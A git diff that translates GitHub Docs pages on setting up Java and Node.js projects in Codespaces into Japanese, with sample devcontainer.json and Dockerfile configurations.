+  ![ポートフォワーディングトースト](/assets/images/help/codespaces/python-port-forwarding.png)
 
-## Step 5: Commit your changes
+## ステップ 5: 変更をコミットする
 
 {% data reusables.codespaces.committing-link-to-procedure %}
 
-## Next steps
+## 次のステップ
 
-You should now be ready start developing your C# (.NET) project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios.
+これで、C# (.NET) で {% data variables.product.prodname_codespaces %} プロジェクトの開発を始める準備ができました。 より高度なシナリオ向けの追加のリソースは次のとおりです。
 
-- [Managing encrypted secrets for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces)
-- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces)
+- [{% data variables.product.prodname_codespaces %} の暗号化されたシークレットを管理する](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces)
+- [{% data variables.product.prodname_codespaces %} の GPG 検証を管理する](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces)
 - [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
diff --git a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md
index 22140d67f0..53a049097b 100644
--- a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md
+++ b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md
@@ -1,7 +1,7 @@
 ---
 title: Setting up your Java project for Codespaces
 shortTitle: Setting up with your Java project
-intro: 'Get started with your Java project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.'
+intro: 'カスタム開発コンテナを作成して、{% data variables.product.prodname_codespaces %} で Java プロジェクトを始めます。'
 product: '{% data reusables.gated-features.codespaces %}'
 redirect_from:
   - /codespaces/getting-started-with-codespaces/getting-started-with-your-java-project-in-codespaces
@@ -16,117 +16,115 @@ hidden: true
 
 
 
-## Introduction
+## はじめに
 
-This guide shows you how to set up your Java project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template.
+このガイドでは、Java プロジェクトを {% data variables.product.prodname_codespaces %} で設定する方法を説明します。 codespace でプロジェクトを開き、テンプレートから開発コンテナ設定を追加および変更する例を紹介します。
 
-### Prerequisites
+### 必要な環境
 
-- You should have an existing Java project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/microsoft/vscode-remote-try-java
-- You must have {% data variables.product.prodname_codespaces %} enabled for your organization.
+- {% data variables.product.prodname_dotcom_the_website %} のリポジトリに既存の Java プロジェクトがあります。 プロジェクトがない場合は、https://github.com/microsoft/vscode-remote-try-java の例でこのチュートリアルを試すことができます。
+- Organization で {% data variables.product.prodname_codespaces %} を有効にする必要があります。
 
-## Step 1: Open your project in a codespace
+## ステップ 1: codespace でプロジェクトを開く
 
 1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**.
 
-  ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+  ![[New codespace] ボタン](/assets/images/help/codespaces/new-codespace-button.png)
 
   If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information.
 
-When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Java, nvm, npm, and yarn. It also includes a common set of tools like git, wget, rsync, openssh, and nano.
+codespace を作成すると、プロジェクトは専用のリモート VM 上に作成されます。 デフォルト設定では、codespace のコンテナには、Java、nvm、npm、yarn を含む多くの言語とランタイムがあります。 また、git、wget、rsync、openssh、nano などの一般的なツールセットも含まれています。
 
-You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed.
+vCPU と RAM の量を調整したり、[ドットファイルを追加して環境をパーソナライズ](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)したり、インストールされているツールやスクリプトを変更したりして、codespace をカスタマイズできます。
 
-{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+{% data variables.product.prodname_codespaces %} は、`devcontainer.json` というファイルを使用して設定を保存します。 起動時に、{% data variables.product.prodname_codespaces %} はファイルを使用して、プロジェクトに必要となる可能性のあるツール、依存関係、またはその他のセットアップをインストールします。 For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
 
 
-## Step 2: Add a dev container to your codespace from a template
+## ステップ 2: テンプレートから codespace に開発コンテナを追加する
 
-The default codespaces container comes with the latest Java version, package managers (Maven, Gradle), and other common tools preinstalled. However, we recommend that you set up a custom container to define the tools and scripts that your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository.
+デフォルトの Codespaces コンテナには、最新の Java バージョン、パッケージマネージャー（Maven、Gradle）、およびその他の一般的なツールがプリインストールされています。 ただし、プロジェクトに必要なツールとスクリプトを定義するために、カスタムコンテナを設定することをお勧めします。 これにより、リポジトリ内のすべての {% data variables.product.prodname_codespaces %} ユーザに対して完全に再現可能な環境を確保できます。
 
-To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+カスタムコンテナを使用してプロジェクトを設定するには、`devcontainer.json` ファイルを使用して環境を定義する必要があります。 {% data variables.product.prodname_codespaces %} で、これをテンプレートから追加することも、独自に作成することもできます。 For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
 
 
 {% data reusables.codespaces.command-palette-container %}
-3. For this example, click **Java**. In practice, you could select any container that’s specific to Java or a combination of tools such as Java and Azure Functions.
-  ![Select Java option from the list](/assets/images/help/codespaces/add-java-prebuilt-container.png)
-4. Click the recommended version of Java.
-  ![Java version selection](/assets/images/help/codespaces/add-java-version.png)
+3. この例では、[**Java**] をクリックします。 実際には、Java に固有の任意のコンテナ、または Java と Azure Functions などのツールの組み合わせを選択できます。 ![リストから Java オプションを選択](/assets/images/help/codespaces/add-java-prebuilt-container.png)
+4. Java の推奨バージョンをクリックします。 ![Java バージョンを選択](/assets/images/help/codespaces/add-java-version.png)
 {% data reusables.codespaces.rebuild-command %}
 
-### Anatomy of your dev container
+### 開発コンテナの構造
 
-Adding the Java dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files:
+Java 開発コンテナテンプレートを追加すると、次のファイルを含む `.devcontainer` フォルダがプロジェクトのリポジトリのルートに追加されます。
 
 - `devcontainer.json`
 - Dockerfile
 
-The newly added `devcontainer.json` file defines a few properties that are described after the sample.
+新しく追加された `devcontainer.json` ファイルは、サンプルの後に説明されるいくつかのプロパティを定義します。
 
 #### devcontainer.json
 
 ```json
-// For format details, see https://aka.ms/vscode-remote/devcontainer.json or this file's README at:
+// フォーマットの詳細については、https://aka.ms/vscode-remote/devcontainer.json または次のファイルの README を参照してください。
 // https://github.com/microsoft/vscode-dev-containers/tree/v0.159.0/containers/java
 {
-	"name": "Java",
-	"build": {
-		"dockerfile": "Dockerfile",
-		"args": {
-			// Update the VARIANT arg to pick a Java version: 11, 14
-			"VARIANT": "11",
-			// Options
-			"INSTALL_MAVEN": "true",
-			"INSTALL_GRADLE": "false",
-			"INSTALL_NODE": "false",
-			"NODE_VERSION": "lts/*"
-		}
-	},
+    "name": "Java",
+    "build": {
+        "dockerfile": "Dockerfile",
+        "args": {
+            // VARIANT引数を更新して Java バージョン11、14 を選択します。
+            "VARIANT": "11",
+            // オプション
+            "INSTALL_MAVEN": "true",
+            "INSTALL_GRADLE": "false",
+            "INSTALL_NODE": "false",
+            "NODE_VERSION": "lts/*"
+        }
+    },
 
-	// Set *default* container specific settings.json values on container create.
-	"settings": {
-		"terminal.integrated.shell.linux": "/bin/bash",
-		"java.home": "/docker-java-home",
-		"maven.executable.path": "/usr/local/sdkman/candidates/maven/current/bin/mvn"
-	},
+    // コンテナの作成時に *デフォルト* のコンテナ固有の settings.json 値を設定します。
+    "settings": {
+        "terminal.integrated.shell.linux": "/bin/bash",
+        "java.home": "/docker-java-home",
+        "maven.executable.path": "/usr/local/sdkman/candidates/maven/current/bin/mvn"
+    },
 
-	// Add the IDs of extensions you want installed when the container is created.
-	"extensions": [
-		"vscjava.vscode-java-pack"
-	],
+    // Add the IDs of extensions you want installed when the container is created.
+    "extensions": [
+        "vscjava.vscode-java-pack"
+    ],
 
-	// Use 'forwardPorts' to make a list of ports inside the container available locally.
-	// "forwardPorts": [],
+    // 'forwardPorts' を使用して、コンテナ内のポートのリストをローカルで使用できるようにします。
+    // "forwardPorts": [],
 
-	// Use 'postCreateCommand' to run commands after the container is created.
-	// "postCreateCommand": "java -version",
+    // コンテナの作成後にコマンドを実行するには、「postCreateCommand」を使用します。
+    // "postCreateCommand": "java -version",
 
-	// Uncomment to connect as a non-root user. See https://aka.ms/vscode-remote/containers/non-root.
-	"remoteUser": "vscode"
+    // 非 root ユーザとして接続するためコメントを解除します。 （参照: https://aka.ms/vscode-remote/containers/non-root）
+    "remoteUser": "vscode"
 }
 ```
 
-- **Name** - You can name your dev container anything, this is just the default.
-- **Build** - The build properties.
-  - **Dockerfile** - In the build object, dockerfile is a reference to the Dockerfile that was also added from the template.
+- **名前** - 開発コンテナには任意の名前を付けることができます。これはデフォルトです。
+- **ビルド** - ビルドプロパティです。
+  - **Dockerfile** - ビルドオブジェクトでは、Dockerfile は、テンプレートからも追加された Dockerfile への参照です。
   - **Args**
-    - **Variant**: This file only contains one build argument, which is the Java version that is passed into the Dockerfile.
-- **Settings** - These are {% data variables.product.prodname_vscode %} settings that you can set.
-  - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this.
-- **Extensions** - These are extensions included by default.
-  - **Vscjava.vscode-java-pack** - The Java Extension Pack provides popular extensions for Java development to get you started.
-- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
-- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, you can do that here.
-- **remoteUser** - By default, you’re running as the `vscode` user, but you can optionally set this to `root`.
+    - **バリアント**: このファイルには、Dockerfile に渡される Java バージョンであるビルド引数が1つだけ含まれています。
+- **設定** - これらは、設定可能な {% data variables.product.prodname_vscode %} 設定です。
+  - **Terminal.integrated.shell.linux** - ここでは bash がデフォルトですが、これを変更することで他のターミナルシェルを使用できます。
+- **機能拡張** - これらはデフォルト設定で含まれている機能拡張です。
+  - **Vscjava.vscode-java-pack** - Java Extension Pack は、Java 開発を始めるための一般的な機能拡張を提供します。
+- **forwardPorts** - ここにリストされているポートはすべて自動的に転送されます。 For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
+- **postCreateCommand** - Dockerfileで定義されていない codespace への到達後に何らかの操作を実行する場合は、ここで実行できます。
+- **remoteUser** - デフォルト設定では、`vscode` ユーザとして実行していますが、オプションでこれを `root` に設定できます。
 
 #### Dockerfile
 
 ```bash
-# See here for image contents: https://github.com/microsoft/vscode-dev-containers/tree/v0.159.0/containers/java/.devcontainer/base.Dockerfile
+# 画像の内容はこちら: https://github.com/microsoft/vscode-dev-containers/tree/v0.159.0/containers/java/.devcontainer/base.Dockerfile
 ARG VARIANT="14"
 FROM mcr.microsoft.com/vscode/devcontainers/java:0-${VARIANT}
 
-# [Optional] Install Maven or Gradle
+# [Optional] MavenまたはGradleをインストールします
 ARG INSTALL_MAVEN="false"
 ARG MAVEN_VERSION=3.6.3
 ARG INSTALL_GRADLE="false"
@@ -134,61 +132,61 @@ ARG GRADLE_VERSION=5.4.1
 RUN if [ "${INSTALL_MAVEN}" = "true" ]; then su vscode -c "source /usr/local/sdkman/bin/sdkman-init.sh && sdk install maven \"${MAVEN_VERSION}\""; fi \
     && if [ "${INSTALL_GRADLE}" = "true" ]; then su vscode -c "source /usr/local/sdkman/bin/sdkman-init.sh && sdk install gradle \"${GRADLE_VERSION}\""; fi
 
-# [Optional] Install a version of Node.js using nvm for front end dev
+# [Optional] フロントエンド開発用の nvm を使用して Node.js のバージョンをインストールします
 ARG INSTALL_NODE="true"
 ARG NODE_VERSION="lts/*"
 RUN if [ "${INSTALL_NODE}" = "true" ]; then su vscode -c "source /usr/local/share/nvm/nvm.sh && nvm install ${NODE_VERSION} 2>&1"; fi
 
-# [Optional] Uncomment this section to install additional OS packages.
+# [Optional] このセクションのコメントを解除して、追加の OS パッケージをインストールします。
 # RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \
 #     && apt-get -y install --no-install-recommends <your-package-list-here>
 
-# [Optional] Uncomment this line to install global node packages.
+# [Optional] この行のコメントを解除してグローバルノードパッケージをインストールします。
 # RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g <your-package-here>" 2>&1
 ```
 
-You can use the Dockerfile to add additional container layers to specify OS packages, Java versions, or global packages we want included in our Dockerfile.
+Dockerfile を使用して、コンテナレイヤーを追加し、Dockerfile に含める OS パッケージ、Java バージョン、またはグローバルパッケージを指定できます。
 
-## Step 3: Modify your devcontainer.json file
+## ステップ 3: devcontainer.json ファイルを変更する
 
-With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install extensions and your project dependencies when your codespace launches.
+開発コンテナを追加し、すべての機能を基本的に理解したら、環境に合わせてコンテナを設定するための変更を加えます。 この例では、コードスペースの起動時に拡張機能とプロジェクトの依存関係をインストールするためのプロパティを追加します。
 
-1. In the Explorer, select the `devcontainer.json` file from the tree to open it. You might have to expand the `.devcontainer` folder to see it.
+1. Explorer で、ツリーから `devcontainer.json` ファイルを選択して開きます。 表示するには、`.devcontainer` フォルダを展開する必要がある場合があります。
 
   ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png)
 
-2. Add the following lines to your `devcontainer.json` file after `extensions`.
+2. `extensions` の後に、`devcontainer.json` ファイルに次の行を追加します。
 
   ```json{:copy}
   "postCreateCommand": "npm install",
   "forwardPorts": [4000],
   ```
 
-  For more information on `devcontainer.json` properties, see the [devcontainer.json reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) on the Visual Studio Code docs.
+  `devcontainer.json` プロパティの詳細については、Visual Studio Codeドキュメントの [devcontainer.json リファレンス](https://code.visualstudio.com/docs/remote/devcontainerjson-reference)を参照してください。
 
 {% data reusables.codespaces.rebuild-command %}
 
-  Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container.
+  codespace 内でリビルドすると、リポジトリに変更をコミットする前に、期待どおりに変更が動作します。 何らかの失敗があった場合、コンテナの調整を継続するためにリビルドできるリカバリコンテナを備えた codespace に配置されます。
 
 
-## Step 4: Run your application
+## Step 4: アプリケーションを実行する
 
-In the previous section, you used the `postCreateCommand` to install a set of packages via npm. You can now use this to run our application with npm.
+前のセクションでは、`postCreateCommand` を使用して npm を介してパッケージのセットをインストールしました。 これを使用して、npm でアプリケーションを実行できます。
 
-1. Run your application by pressing `F5`.
+1. `F5` キーを押してアプリケーションを実行します。
 
-2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses.
+2. プロジェクトが開始されると、プロジェクトが使用するポートに接続するためのプロンプトが表示されたトーストが右下隅に表示されます。
 
-  ![Port forwarding toast](/assets/images/help/codespaces/codespaces-port-toast.png)
+  ![ポートフォワーディングトースト](/assets/images/help/codespaces/codespaces-port-toast.png)
 
-## Step 5: Commit your changes
+## ステップ 5: 変更をコミットする
 
 {% data reusables.codespaces.committing-link-to-procedure %}
 
-## Next steps
+## 次のステップ
 
-You should now be ready start developing your Java project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios.
+これで、{% data variables.product.prodname_codespaces %} で Java プロジェクトの開発を始める準備ができました。 より高度なシナリオ向けの追加のリソースは次のとおりです。
 
-- [Managing encrypted secrets for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces)
-- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces)
+- [{% data variables.product.prodname_codespaces %} の暗号化されたシークレットを管理する](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces)
+- [{% data variables.product.prodname_codespaces %} の GPG 検証を管理する](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces)
 - [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
diff --git a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md
index d2825ffebe..0a4e3e7423 100644
--- a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md
+++ b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md
@@ -1,7 +1,7 @@
 ---
 title: Setting up your Node.js project for Codespaces
 shortTitle: Setting up your Node.js project
-intro: 'Get started with your JavaScript, Node.js, or TypeScript project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.'
+intro: 'カスタム開発コンテナを作成して、{% data variables.product.prodname_codespaces %} で JavaScript、Node.js、または TypeScript プロジェクトを始めます。'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -20,98 +20,96 @@ hidden: true
 
 
 
-## Introduction
+## はじめに
 
-This guide shows you how to set up your JavaScript, Node.js, or TypeScript project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template.
+このガイドでは、JavaScript、Node.js、または TypeScript プロジェクトを {% data variables.product.prodname_codespaces %} で設定する方法を説明します。 codespace でプロジェクトを開き、テンプレートから開発コンテナ設定を追加および変更する例を紹介します。
 
-### Prerequisites
+### 必要な環境
 
-- You should have an existing JavaScript, Node.js, or TypeScript project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/microsoft/vscode-remote-try-node
-- You must have {% data variables.product.prodname_codespaces %} enabled for your organization.
+- {% data variables.product.prodname_dotcom_the_website %} のリポジトリに既存の JavaScript、Node.js、または TypeScript プロジェクトがあります。 プロジェクトがない場合は、https://github.com/microsoft/vscode-remote-try-node の例でこのチュートリアルを試すことができます。
+- Organization で {% data variables.product.prodname_codespaces %} を有効にする必要があります。
 
-## Step 1: Open your project in a codespace
+## ステップ 1: codespace でプロジェクトを開く
 
 1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**.
 
-  ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+  ![[New codespace] ボタン](/assets/images/help/codespaces/new-codespace-button.png)
 
   If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information.
 
 
-When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Node.js, JavaScript, Typescript, nvm, npm, and yarn. It also includes a common set of tools like git, wget, rsync, openssh, and nano.
+codespace を作成すると、プロジェクトは専用のリモート VM 上に作成されます。 デフォルト設定では、codespace のコンテナには、Node.js、JavaScript、Typescript、nvm、npm、yarn を含む多くの言語とランタイムがあります。 また、git、wget、rsync、openssh、nano などの一般的なツールセットも含まれています。
 
-You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed.
+vCPU と RAM の量を調整したり、[ドットファイルを追加して環境をパーソナライズ](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)したり、インストールされているツールやスクリプトを変更したりして、codespace をカスタマイズできます。
 
-{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+{% data variables.product.prodname_codespaces %} は、`devcontainer.json` というファイルを使用して設定を保存します。 起動時に、{% data variables.product.prodname_codespaces %} はファイルを使用して、プロジェクトに必要となる可能性のあるツール、依存関係、またはその他のセットアップをインストールします。 For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
 
-## Step 2: Add a dev container to your codespace from a template
+## ステップ 2: テンプレートから codespace に開発コンテナを追加する
 
-The default codespaces container will support running Node.js projects like [vscode-remote-try-node](https://github.com/microsoft/vscode-remote-try-node) out of the box. By setting up a custom container you can customize the tools and scripts that run as part of codespace creation and ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository.
+デフォルトの Codespaces コンテナは、[vscode-remote-try-node](https://github.com/microsoft/vscode-remote-try-node) のような Node.js プロジェクトの実行をすぐにサポートします。 カスタムコンテナを設定することで、codespace 作成の一部として実行されるツールとスクリプトをカスタマイズし、リポジトリ内のすべての {% data variables.product.prodname_codespaces %} ユーザに完全に再現可能な環境を確保できます。
 
-To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)".
+カスタムコンテナを使用してプロジェクトを設定するには、`devcontainer.json` ファイルを使用して環境を定義する必要があります。 {% data variables.product.prodname_codespaces %} で、これをテンプレートから追加することも、独自に作成することもできます。 For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)".
 
 {% data reusables.codespaces.command-palette-container %}
-3. For this example, click **Node.js**.  If you need additional features you can select any container that’s specific to Node or a combination of tools such as Node and MongoDB.
-  ![Select Node option from the list](/assets/images/help/codespaces/add-node-prebuilt-container.png)
-4. Click the recommended version of Node.js.
-  ![Node.js version selection](/assets/images/help/codespaces/add-node-version.png)
+3. この例では、[**Node.js**] をクリックします。  追加機能が必要な場合は、Node に固有の任意のコンテナ、または Node と MongoDB などのツールの組み合わせを選択できます。 ![リストから Node オプションを選択](/assets/images/help/codespaces/add-node-prebuilt-container.png)
+4. Node.js の推奨バージョンをクリックします。 ![Node.js バージョンの選択](/assets/images/help/codespaces/add-node-version.png)
 {% data reusables.codespaces.rebuild-command %}
 
-### Anatomy of your dev container
+### 開発コンテナの構造
 
-Adding the Node.js dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files:
+Node.js 開発コンテナテンプレートを追加すると、次のファイルを含む `.devcontainer` フォルダがプロジェクトのリポジトリのルートに追加されます。
 
 - `devcontainer.json`
 - Dockerfile
 
-The newly added `devcontainer.json` file defines a few properties that are described after the sample.
+新しく追加された `devcontainer.json` ファイルは、サンプルの後に説明されるいくつかのプロパティを定義します。
 
 #### devcontainer.json
 
 ```json
-// For format details, see https://aka.ms/devcontainer.json. For config options, see the README at:
+// フォーマットの詳細は https://aka.ms/devcontainer.json を参照します。 設定オプションについては、次の README を参照します。
 // https://github.com/microsoft/vscode-dev-containers/tree/v0.162.0/containers/javascript-node
 {
-	"name": "Node.js",
-	"build": {
-		"dockerfile": "Dockerfile",
-		// Update 'VARIANT' to pick a Node version: 10, 12, 14
-		"args": { "VARIANT": "14" }
-	},
+    "name": "Node.js",
+    "build": {
+        "dockerfile": "Dockerfile",
+        // Update 'VARIANT' to pick a Node version: 10, 12, 14
+        "args": { "VARIANT": "14" }
+    },
 
-	// Set *default* container specific settings.json values on container create.
-	"settings": {
-		"terminal.integrated.shell.linux": "/bin/bash"
-	},
+    // コンテナの作成時に*デフォルト*のコンテナ固有の settings.json 値を設定します。
+    "settings": {
+        "terminal.integrated.shell.linux": "/bin/bash"
+    },
 
-	// Add the IDs of extensions you want installed when the container is created.
-	"extensions": [
-		"dbaeumer.vscode-eslint"
-	],
+    // コンテナの作成時にインストールする拡張機能の ID を追加します。
+    "extensions": [
+        "dbaeumer.vscode-eslint"
+    ],
 
-	// Use 'forwardPorts' to make a list of ports inside the container available locally.
-	// "forwardPorts": [],
+    // 'forwardPorts' を使用して、コンテナ内のポートのリストをローカルで使用できるようにします。
+    // "forwardPorts": [],
 
-	// Use 'postCreateCommand' to run commands after the container is created.
-	// "postCreateCommand": "yarn install",
+    // コンテナの作成後にコマンドを実行するには、「postCreateCommand」を使用します。
+    // "postCreateCommand": "yarn install",
 
-	// Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.
-	"remoteUser": "node"
+    // 代わりに、connect を root としてコメントアウトします。 詳細は https://aka.ms/vscode-remote/containers/non-root を参照します。
+    "remoteUser": "node"
 }
 ```
 
-- **Name** - You can name your dev container anything, this is just the default.
-- **Build** - The build properties.
-  - **dockerfile** - In the build object, dockerfile is a reference to the Dockerfile that was also added from the template.
+- **名前** - 開発コンテナには任意の名前を付けることができます。これはデフォルトです。
+- **ビルド** - ビルドプロパティです。
+  - **Dockerfile** - ビルドオブジェクトでは、Dockerfile は、テンプレートからも追加された Dockerfile への参照です。
   - **Args**
-    - **Variant**: This file only contains one build argument, which is the node variant we want to use that is passed into the Dockerfile.
-- **Settings** - These are {% data variables.product.prodname_vscode %} settings that you can set.
-  - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this.
-- **Extensions** - These are extensions included by default.
-  - **Dbaeumer.vscode-eslint** - ES lint is a great extension for linting, but for JavaScript there are a number of great Marketplace extensions you could also include.
-- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
-- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, you can do that here.
-- **remoteUser** - By default, you’re running as the vscode user, but you can optionally set this to root.
+    - **バリアント**: このファイルには、Dockerfile に渡される使用するノードのバリアントであるビルド引数が 1 つだけ含まれています。
+- **設定** - これらは、設定可能な {% data variables.product.prodname_vscode %} 設定です。
+  - **Terminal.integrated.shell.linux** - ここでは bash がデフォルトですが、これを変更することで他のターミナルシェルを使用できます。
+- **機能拡張** - これらはデフォルト設定で含まれている機能拡張です。
+  - **Dbaeumer.vscode-eslint** - ES lint は lint の優れた機能拡張ですが、JavaScript の場合は、Marketplace の優れた機能拡張も多数含めることができます。
+- **forwardPorts** - ここにリストされているポートはすべて自動的に転送されます。 For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
+- **postCreateCommand** - Dockerfileで定義されていない codespace への到達後に何らかの操作を実行する場合は、ここで実行できます。
+- **remoteUser** - デフォルト設定では、vscode ユーザとして実行していますが、オプションでこれを root に設定できます。
 
 #### Dockerfile
 
@@ -132,50 +130,50 @@ FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-${VARIANT}
 # RUN su node -c "npm install -g <your-package-list-here>"
 ```
 
-You can use the Dockerfile to add additional container layers to specify OS packages, node versions, or global packages we want included in our Dockerfile.
+Dockerfile を使用して、コンテナレイヤーを追加し、Dockerfile に含める OS パッケージ、ノードバージョン、またはグローバルパッケージを指定できます。
 
-## Step 3: Modify your devcontainer.json file
+## ステップ 3: devcontainer.json ファイルを変更する
 
-With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install npm when your codespace launches and make a list of ports inside the container available locally.
+開発コンテナを追加し、すべての機能を基本的に理解したら、環境に合わせてコンテナを設定するための変更を加えます。 この例では、codespace の起動時に npm をインストールするためのプロパティを追加し、コンテナ内のポートのリストをローカルで使用できるようにします。
 
-1. In the Explorer, select the `devcontainer.json` file from the tree to open it. You might have to expand the `.devcontainer` folder to see it.
+1. Explorer で、ツリーから `devcontainer.json` ファイルを選択して開きます。 表示するには、`.devcontainer` フォルダを展開する必要がある場合があります。
 
   ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png)
 
-2. Add the following lines to your `devcontainer.json` file after `extensions`:
+2. `extensions` の後に、`devcontainer.json` ファイルに次の行を追加します。
 
   ```json{:copy}
   "postCreateCommand": "npm install",
   "forwardPorts": [4000],
   ```
 
-  For more information on `devcontainer.json` properties, see the [devcontainer.json reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) in the {% data variables.product.prodname_vscode %} docs.
+  `devcontainer.json` プロパティの詳細については、{% data variables.product.prodname_vscode %} ドキュメントの [devcontainer.json リファレンス](https://code.visualstudio.com/docs/remote/devcontainerjson-reference)を参照してください。
 
 {% data reusables.codespaces.rebuild-command %}
 
